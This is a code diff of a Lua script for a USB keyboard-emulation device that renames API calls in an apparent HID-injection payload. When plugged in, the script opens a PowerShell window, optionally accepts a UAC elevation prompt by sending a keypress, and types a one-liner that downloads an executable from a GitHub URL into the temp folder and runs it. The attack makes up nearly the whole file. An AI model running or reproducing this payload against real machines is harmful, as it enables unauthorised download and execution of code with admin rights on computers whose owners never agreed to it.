66usb = luausb .create ({ id = 0 , type = " keyboard" })
77kb = usb .dev [1 ]
88
9- local file = usb . ask (" File to download?" , " https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe" )
10- local runAs = usb . should (" Task UAC" , " Launch exe as admin?" );
9+ local file = prompt (" File to download?" , " https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe" )
10+ local runAs = confirm (" Task UAC" , " Launch exe as admin?" );
1111
1212while true do
13- usb . log (" idle" )
13+ print (" idle" )
1414
1515 -- poll until usb plugged in
1616 while usb .state () == " not attached" do
17- usb . delay (1000 )
17+ wait (1000 )
1818 end
1919
20- usb . log (" running" )
21- usb . delay (1000 )
20+ print (" running" )
21+ wait (1000 )
2222
23- usb . log (" opening powershell, runAs=" .. tostring (runAs ))
23+ print (" opening powershell, runAs=" .. tostring (runAs ))
2424 if runAs then
2525 -- when running elevated prompt sometimes it pops in background, so we need
2626 -- to go to the desktop
27- kb .press_keys (MOD_LSUPER , KEY_D )
28- usb . delay (500 )
29- kb .press_keys (MOD_LSUPER , KEY_R )
30- usb . delay (2000 )
31- kb .send_string (" powershell Start-Process powershell -Verb runAs\n " )
32- usb . delay (3000 )
33- kb .press_keys (MOD_LALT , KEY_Y )
34- usb . delay (2000 )
27+ kb .chord (MOD_LSUPER , KEY_D )
28+ wait (500 )
29+ kb .chord (MOD_LSUPER , KEY_R )
30+ wait (2000 )
31+ kb .string (" powershell Start-Process powershell -Verb runAs\n " )
32+ wait (3000 )
33+ kb .chord (MOD_LALT , KEY_Y )
34+ wait (2000 )
3535 else
36- kb .press_keys (MOD_LSUPER , KEY_R )
37- usb . delay (2000 )
38- kb .send_string (" powershell\n " )
39- usb . delay (2000 )
36+ kb .chord (MOD_LSUPER , KEY_R )
37+ wait (2000 )
38+ kb .string (" powershell\n " )
39+ wait (2000 )
4040 end
4141
42- usb . log (" download + execute code" )
42+ print (" download + execute code" )
4343
44- kb .send_string (
44+ kb .string (
4545 " [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$d=New-Object System.Net.WebClient;" ..
4646 " $u='" .. file .. " ';" ..
4747 " $f=\" $Env:Temp\\ a.exe\" ;$d.DownloadFile($u,$f);" ..
@@ -50,11 +50,11 @@ while true do
5050 " exit;\n "
5151 )
5252
53- usb . log (" done" )
53+ print (" done" )
5454 -- poll until usb unplugged
5555 while usb .state () == " configured" do
56- usb . delay (1000 )
56+ wait (1000 )
5757 end
58- usb . log (" disconnected" )
58+ print (" disconnected" )
5959end
6060
0 commit comments